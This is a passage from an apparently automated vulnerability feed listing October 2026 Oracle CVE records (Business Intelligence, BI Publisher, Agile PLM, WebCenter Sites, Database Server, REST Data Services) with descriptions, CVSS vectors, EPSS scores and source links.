FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91545&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).
https://kevwire.com/record/CVE-2026-91546
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91546).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91546&date=2026-10-25).
Sources:
NVD CVE-2026-91546: https://nvd.nist.gov/vuln/detail/CVE-2026-91546
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91546&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).
https://kevwire.com/record/CVE-2026-91549
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91549).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91549&date=2026-10-25).
Sources:
NVD CVE-2026-91549: https://nvd.nist.gov/vuln/detail/CVE-2026-91549
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91549&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91550
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91550).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91550&date=2026-10-25).
Sources:
NVD CVE-2026-91550: https://nvd.nist.gov/vuln/detail/CVE-2026-91550
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91550&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).
https://kevwire.com/record/CVE-2026-91552
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). (Oct 20, 2026).
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91552).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91552&date=2026-10-25).
Sources:
NVD CVE-2026-91552: https://nvd.nist.gov/vuln/detail/CVE-2026-91552
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91552&date=2026-10-25
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).
https://kevwire.com/record/CVE-2026-91557
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91557).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91557&date=2026-10-25).
Sources:
NVD CVE-2026-91557: https://nvd.nist.gov/vuln/detail/CVE-2026-91557
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91557&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Foundation).   The supported version that is affected is 12.2.1.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle OLAP component of Oracle Database Server.
https://kevwire.com/record/CVE-2026-91563
Vulnerability in the Oracle OLAP component of Oracle Database Server. (Oct 20, 2026).
Vulnerability in the Oracle OLAP component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_AW privilege with network access via Oracle Net to compromise Oracle OLAP.  Successful attacks of this vulnerability can result in takeover of Oracle OLAP. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91563).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91563&date=2026-10-25).
Sources:
NVD CVE-2026-91563: https://nvd.nist.gov/vuln/detail/CVE-2026-91563
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91563&date=2026-10-25
Vulnerability in the Oracle OLAP component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_AW privilege with network access via Oracle Net to compromise Oracle OLAP.  Successful attacks of this vulnerability can result in takeover of Oracle OLAP. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the RDBMS component of Oracle Database Server.
https://kevwire.com/record/CVE-2026-91568
Vulnerability in the RDBMS component of Oracle Database Server. (Oct 20, 2026).
Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Session privilege with network access via Oracle Net to compromise RDBMS.  While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all RDBMS accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91568).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91568&date=2026-10-25).
Sources:
NVD CVE-2026-91568: https://nvd.nist.gov/vuln/detail/CVE-2026-91568
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91568&date=2026-10-25
Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Session privilege with network access via Oracle Net to compromise RDBMS.  While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all RDBMS accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91573
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91573).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91573&date=2026-10-25).
Sources:
NVD CVE-2026-91573: https://nvd.nist.gov/vuln/detail/CVE-2026-91573
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91573&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).
https://kevwire.com/record/CVE-2026-91579
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). (Oct 20, 2026).
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91579).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91579&date=2026-10-25).
Sources:
NVD CVE-2026-91579: https://nvd.nist.gov/vuln/detail/CVE-2026-91579
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91579&date=2026-10-25
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).
https://kevwire.com/record/CVE-2026-91597
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91597).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91597&date=2026-10-25).
Sources:
NVD CVE-2026-91597: https://nvd.nist.gov/vuln/detail/CVE-2026-91597
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91597&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition.  While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91604
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91604).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91604&date=2026-10-25).
Sources:
NVD CVE-2026-91604: https://nvd.nist.gov/vuln/detail/CVE-2026-91604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91604&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).
https://kevwire.com/record/CVE-2026-91608
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). (Oct 20, 2026).
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91608).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91608&date=2026-10-25).
Sources:
NVD CVE-2026-91608: https://nvd.nist.gov/vuln/detail/CVE-2026-91608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91608&date=2026-10-25
Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle REST Data Services (component: General).
https://kevwire.com/record/CVE-2026-91610
Vulnerability in Oracle REST Data Services (component: General). (Oct 20, 2026).
Vulnerability in Oracle REST Data Services (component: General).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91610).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91610&date=2026-10-25).
Sources:
NVD CVE-2026-91610: https://nvd.nist.gov/vuln/detail/CVE-2026-91610
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91610&date=2026-10-25
Vulnerability in Oracle REST Data Services (component: General).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91622
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
